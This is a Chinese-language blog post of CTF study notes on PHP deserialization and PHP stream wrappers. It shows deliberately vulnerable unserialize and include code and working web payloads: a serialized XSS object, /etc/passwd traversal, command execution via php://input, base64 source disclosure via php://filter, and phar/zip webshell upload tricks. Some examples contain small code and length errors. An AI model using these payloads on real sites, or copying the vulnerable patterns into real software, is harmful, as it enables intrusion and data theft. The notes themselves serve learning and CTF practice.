PHP序列化与反序列化、PHP伪协议

最近的比赛都有PHP反序列化的题,于是学习一下。

序列化和反序列化

序列化

要反序列化,先学习序列化,了解serialize()函数,定义啥的就不复制粘贴了,理解了就好。直接简单明了将通俗点。
序列化就是通过使用serialize()函数将一个对象变成可以传输的字符串,比如下面的栗子:

class baby{
	public $test="lalala";
}
$baby=new B();//创建一个对象
serialize($baby);//把这个对象进行序列化

序列化后的到的结果是这个样子的

O:4:"baby":1:{s:4:"test";s:6:"lalala";}

参数说明:

O:代表object
4:代表对象名字长度为4个字符
baby:对象的名字
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
lalala:变量值

反序列化unserialize()

简单来说:就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

$u=unserialize("O:4:"baby":1:{s:4:"test";s:6:"lalala";}");
echo $u->test; //得到的结果是lalala

魔法函数

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。
常见的几个魔法函数:

__construct()    //当一个对象创建时被调用
__destruct()    //当一个对象销毁时被调用
__toString()   //当一个对象被当作一个字符串使用
__sleep()     //在对象被序列化之前使用
__wakeup()   //将在序列化之后立即被调用

漏洞举例:

class S{
	var $test = "pikaqiu";
	function __destruct(){
		echo $this->test;
	}	
}
$s = $_GET['test'];
@$unser = unserialize($a);

payload
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
当输入这个payload时,这个payload是已经序列化的,对象test的值是一个xss弹窗脚本,上面的代码会对payload进行反序列化,然后在对象被销毁时执行魔法函数。执行xss弹窗。
下面靶场试验一下。pikachu
j4y
在框里输入序列化后的payload。进行提交。
j4y
成功弹窗。以上是最基础的PHP反序列化。

PHP伪协议

PHP支持的伪协议有以下几种

php:// — 访问各个输入/输出流(I/O streams)
file:// — 访问本地文件系统
phar:// — PHP 归档
zlib:// — 压缩流
data:// — 数据(RFC 2397)
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
glob:// — 查找匹配的文件路径模式
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

allow_url_fopenallow_url_include这两个关键配置需要开启相应的服务,才能使用相关函数对伪协议的支持,配置相关在php.ini文件中

php://协议

php://是用来访问各个输入、输出流的。
php://下还有许多子协议

php://input

php://input代表可以访问请求的原始数据,简单来说POST请求的情况下,php://input可以获取到post的数据。
php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。

php://input例题(ctf.show) web3

j4y
首先提示是文件包含漏洞,构造payload

https://537363ba-ba6d-47cf-b6f4-85e7986ffa04.chall.ctf.show/?url=../../../../../../../etc/passwd

etc和passwd这两个是linux系统中的文件。至于为什么构造这个,我不是很清楚,看过linux入门书籍,所以多少知道一点,《linux就该这样学》已看完。博客后续发。
j4y
然后就是伪协议,构造

https://537363ba-ba6d-47cf-b6f4-85e7986ffa04.chall.ctf.show/?url=php://input

抓包,到Repeater。自己构造相关命令执行

<?php system("ls");?>

ls是linux系统中列出当前目录下的文件的命令。至于system是有关一个命令执行漏洞,在我的学习命令执行漏洞的博客中有记录。
j4y
然后看到了ctf_go_go_go文件,然后使用命令cat 来查看文件内容。
j4y
flag查到。

php://filter

主要用于读取源代码并进行base64编码输出。
使用方法payload

php://filter/read=convert.base64-encode/resource=upload.php

file://协议

file://协议在双off的情况下也是可以正常使用的。

allow_url_fopen :off/on

allow_url_include:off/on

file://用于访问本地文件系统,在CTF中常用来读取本地文件。

使用方法:file://文件的绝对路径和文件名。

file:///etc/passwd

j4y

phar://协议

phar://:PHP 归档,常常跟文件包含,文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀

xxx.php(木马)->压缩->xxx.zip->改后缀->xxx.jpg->上传->phar://xx.jpg/xxx.php

与文件上传相结合。

zip://协议

allow_url_fopenallow_url_include都关闭的情况下可以正常使用,

file.php?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
file.php?file=zip://nac.jpg#nac.php  其中get请求中#需要进行编码,即%23

data://协议

data://:需满足allow_url_fopenallow_url_include同时开启才能使用,使用如下:

file.php?file=data://text/plain,<?php phpinfo()?>
file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
file.php?file=data:text/plain,<?php phpinfo()?>
file.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

还是那个例题:
j4y

截断问题

是否截断要考虑php的版本问题,PHP版本为>=5.2 具体为5.2,5.3,5.5,7.0;不能使用%00截断。
PHP版本<=5.2 可以使用%00进行截断。

情况一:不需要截断:

http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt

<?php

include($_GET['file'])

?>

情况二:需要截断:

在php版本<=5.2中进行测试是可以使用%00截断的。

http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt%00

<?php

include($_GET['file'].’.php’)

?>

文末寄语:

我觉得生命是最重要的,所以在我心里,没有事情是解决不了的。不是每一个人都可以幸运地过自己理想中的生活,有楼有车当然好了,没有难道哭吗?所以呢,我们一定要享受我们所过的生活。 —— 《新不了情》

posted @ 2020-05-20 14:39  m0re  阅读(77)  评论(0编辑  收藏  举报